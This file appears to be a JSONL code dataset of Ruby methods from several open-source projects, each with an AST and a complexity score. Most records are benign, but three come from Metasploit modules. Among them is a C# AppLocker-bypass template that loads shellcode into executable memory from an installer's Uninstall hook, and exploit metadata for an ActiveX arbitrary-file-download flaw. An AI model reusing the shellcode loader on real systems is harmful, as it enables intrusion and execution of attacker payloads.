{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/log4shell_scanner.rb","start_line":133,"raw_source":"def run\n    validate_configuration!\n    @mutex = Mutex.new\n    @mutex.extend(::Rex::Ref)\n\n    @tokens = {}\n    @tokens.extend(::Rex::Ref)\n\n    @successes = []\n    @successes.extend(::Rex::Ref)\n\n    begin\n      start_service\n    rescue Rex::BindFailed => e\n      fail_with(Failure::BadConfig, e.to_s)\n    end\n\n    super\n\n    print_status(\"Sleeping #{datastore['LDAP_TIMEOUT']} seconds for any last LDAP connections\")\n    sleep datastore['LDAP_TIMEOUT']\n\n    if @successes.empty?\n      return Exploit::CheckCode::Unknown\n    end\n\n    Exploit::CheckCode::Vulnerable(details: @successes)\n  end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_configuration!\"]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Ref\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tokens\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tokens\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Ref\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@successes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@successes\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Ref\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_service\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"BindFailed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]},null]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sleeping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAP_TIMEOUT\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds for any last LDAP connections\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAP_TIMEOUT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@successes\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"ivar\",\"children\":[\"@successes\"]}]}]}]}]}]}","id":"da7a887a-928e-4a06-bd7a-11a25cd992ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/clusters/agents_finder.rb","start_line":31,"raw_source":"def can_read_cluster_agents?\n      current_user&.can?(:read_cluster_agent, object)\n    end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_cluster_agents?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_cluster_agent\"]},{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"0cfe4108-49b1-4048-824c-4d94acf92ed6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/applocker_bypass.rb","start_line":113,"raw_source":"def generate_csharp_source\n    sc = payload.encoded.each_byte.map { |b| \"0x#{b.to_s(16)}\" }.join(',')\n    cs = %Q^\nusing System;\n\nnamespace Pop\n{\n  public class Program { public static void Main() { } }\n\n  [System.ComponentModel.RunInstaller(true)]\n  public class Pop : System.Configuration.Install.Installer\n  {\n    private static Int32 MEM_COMMIT=0x1000;\n    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;\n    private static UInt32 INFINITE = 0xFFFFFFFF;\n\n    [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n    private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);\n\n    [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n    private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);\n\n    [System.Runtime.InteropServices.DllImport(\"kernel32\")]\n    private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);\n\n    public override void Uninstall(System.Collections.IDictionary s)\n    {\n      byte[] sc = new byte[] {#{sc}};\n      IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n      System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);\n      IntPtr id = IntPtr.Zero;\n      WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);\n    }\n  }\n}\n    ^\n\n    cs\n  end","complexity_score":11.88,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_csharp_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sc\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"each_byte\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cs\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"using System;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"namespace Pop\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"  public class Program { public static void Main() { } }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  [System.ComponentModel.RunInstaller(true)]\\n\"]},{\"type\":\"str\",\"children\":[\"  public class Pop : System.Configuration.Install.Installer\\n\"]},{\"type\":\"str\",\"children\":[\"  {\\n\"]},{\"type\":\"str\",\"children\":[\"    private static Int32 MEM_COMMIT=0x1000;\\n\"]},{\"type\":\"str\",\"children\":[\"    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;\\n\"]},{\"type\":\"str\",\"children\":[\"    private static UInt32 INFINITE = 0xFFFFFFFF;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    [System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"    private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    [System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"    private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    [System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"    private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    public override void Uninstall(System.Collections.IDictionary s)\\n\"]},{\"type\":\"str\",\"children\":[\"    {\\n\"]},{\"type\":\"str\",\"children\":[\"      byte[] sc = new byte[] {\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sc\"]}]},{\"type\":\"str\",\"children\":[\"};\\n\"]},{\"type\":\"str\",\"children\":[\"      IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\\n\"]},{\"type\":\"str\",\"children\":[\"      System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);\\n\"]},{\"type\":\"str\",\"children\":[\"      IntPtr id = IntPtr.Zero;\\n\"]},{\"type\":\"str\",\"children\":[\"      WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"lvar\",\"children\":[\"cs\"]}]}]}","id":"60285707-48be-4655-a2d4-a1461dec196f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression.rb","start_line":982,"raw_source":"def self.tag_details(path, opts)\n    result = []\n    if opts[:no_cache]\n      @classifications = nil\n    end\n    @classifications ||= categories\n    @classifications.each do |name, cat|\n      prefix = path.nil? ? \"managed\" : [path, \"managed\"].join(\".\")\n      field = [prefix, name].join(\"-\")\n      result.push([value2human(field, opts.merge(:classification => cat)), field])\n    end\n    if opts[:include_my_tags] && opts[:userid] && ::Tag.exists?([\"name like ?\", \"/user/#{opts[:userid]}/%\"])\n      prefix = path.nil? ? \"user_tag\" : [path, \"user_tag\"].join(\".\")\n      field = [prefix, opts[:userid]].join(\"_\")\n      result.push([value2human(field, opts), field])\n    end\n    result.sort_by!(&:to_s)\n  end","complexity_score":41.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_cache\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@classifications\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@classifications\"]},{\"type\":\"send\",\"children\":[null,\"categories\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@classifications\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"cat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"managed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"managed\"]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"push\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value2human\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"classification\"]},{\"type\":\"lvar\",\"children\":[\"cat\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_my_tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Tag\"]},\"exists?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name like ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/user/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"str\",\"children\":[\"/%\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"user_tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"user_tag\"]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"push\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value2human\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"sort_by!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"8f93bdef-438e-4ba9-a0c9-70619a9d3016"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/menu.rb","start_line":65,"raw_source":"def initialize(name:, controller: name, children: [], visible: true, parent: nil)\n      @name = name\n      @controller = controller.tr(\" \", \"_\")\n      @children = children\n      @visible = visible\n      @parent = parent\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"controller\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"children\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"visible\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parent\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"tr\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@children\",{\"type\":\"lvar\",\"children\":[\"children\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@visible\",{\"type\":\"lvar\",\"children\":[\"visible\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}","id":"e7ec1c2b-bd9c-4088-b035-f3c9c4bece9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/node.rb","start_line":28,"raw_source":"def nodes_from_cluster\n        @nodes_from_cluster ||= graceful_request { cluster.kubeclient.get_nodes }\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes_from_cluster\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@nodes_from_cluster\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graceful_request\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"kubeclient\"]},\"get_nodes\"]}]}]}]}","id":"bd62f8da-5b90-4fed-bc47-58cb586a5105"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":367,"raw_source":"def test_assert_enqueued_email_with_when_queue_arg_is_symbol\n    ActionMailer::Base.deliver_later_queue_name = \"mailers\"\n\n    assert_nothing_raised do\n      assert_enqueued_email_with TestHelperMailer, :test, queue: :mailers do\n        silence_stream($stdout) do\n          TestHelperMailer.test.deliver_later\n        end\n      end\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_email_with_when_queue_arg_is_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailer\"]},\"Base\"]},\"deliver_later_queue_name=\",{\"type\":\"str\",\"children\":[\"mailers\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_email_with\",{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},{\"type\":\"sym\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"mailers\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test\"]},\"deliver_later\"]}]}]}]}]}]}","id":"d7fac745-db74-43a2-aad3-56b333e07b74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/manifest_controller.rb","start_line":79,"raw_source":"def importable_repos\n    @importable_repos ||= manifest_import_metadata.repositories\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"importable_repos\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@importable_repos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manifest_import_metadata\"]},\"repositories\"]}]}]}","id":"28db4207-2a84-4315-9ab5-89c0ba505ca1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb","start_line":23,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',\n        'Description' => %q{\n          This module allows remote attackers to place arbitrary files on a users file system\n          by abusing the \"DownloadImageFileURL\" method in the Black Ice BIImgFrm.ocx ActiveX\n          Control (BIImgFrm.ocx 12.0.0.0).  Code execution can be achieved by first uploading the\n          payload to the remote machine, and then upload another mof file, which enables Windows\n          Management Instrumentation service to execute the binary. Please note that this module\n          currently only works for Windows before Vista.  Also, a similar issue is reported in\n          BIDIB.ocx (10.9.3.0) within the Barcode SDK.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'shinnai', # original discovery\n          'mr_me <steventhomasseeley[at]gmail.com>', # msf\n          'sinn3r' # wbemexec tekniq\n        ],\n        'References' => [\n          [ 'CVE', '2008-2683'],\n          [ 'OSVDB', '46007'],\n          [ 'BID', '29577'],\n          [ 'EDB', '5750' ],\n        ],\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Payload' => {\n          'Space' => 2048,\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # Windows before Vista\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2008-06-05',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Black Ice Cover Page ActiveX Control Arbitrary File Download\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows remote attackers to place arbitrary files on a users file system\\n\"]},{\"type\":\"str\",\"children\":[\"          by abusing the \\\"DownloadImageFileURL\\\" method in the Black Ice BIImgFrm.ocx ActiveX\\n\"]},{\"type\":\"str\",\"children\":[\"          Control (BIImgFrm.ocx 12.0.0.0).  Code execution can be achieved by first uploading the\\n\"]},{\"type\":\"str\",\"children\":[\"          payload to the remote machine, and then upload another mof file, which enables Windows\\n\"]},{\"type\":\"str\",\"children\":[\"          Management Instrumentation service to execute the binary. Please note that this module\\n\"]},{\"type\":\"str\",\"children\":[\"          currently only works for Windows before Vista.  Also, a similar issue is reported in\\n\"]},{\"type\":\"str\",\"children\":[\"          BIDIB.ocx (10.9.3.0) within the Barcode SDK.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shinnai\"]},{\"type\":\"str\",\"children\":[\"mr_me <steventhomasseeley[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2683\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"46007\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"29577\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"5750\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-06-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"68b5a6fd-edc0-45fb-933f-fd629750e08a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":324,"raw_source":"def test_add_on_delete_nullify_foreign_key\n          @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", on_delete: :nullify\n\n          foreign_keys = @connection.foreign_keys(\"astronauts\")\n          assert_equal 1, foreign_keys.size\n\n          fk = foreign_keys.first\n          assert_equal :nullify, fk.on_delete\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_on_delete_nullify_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",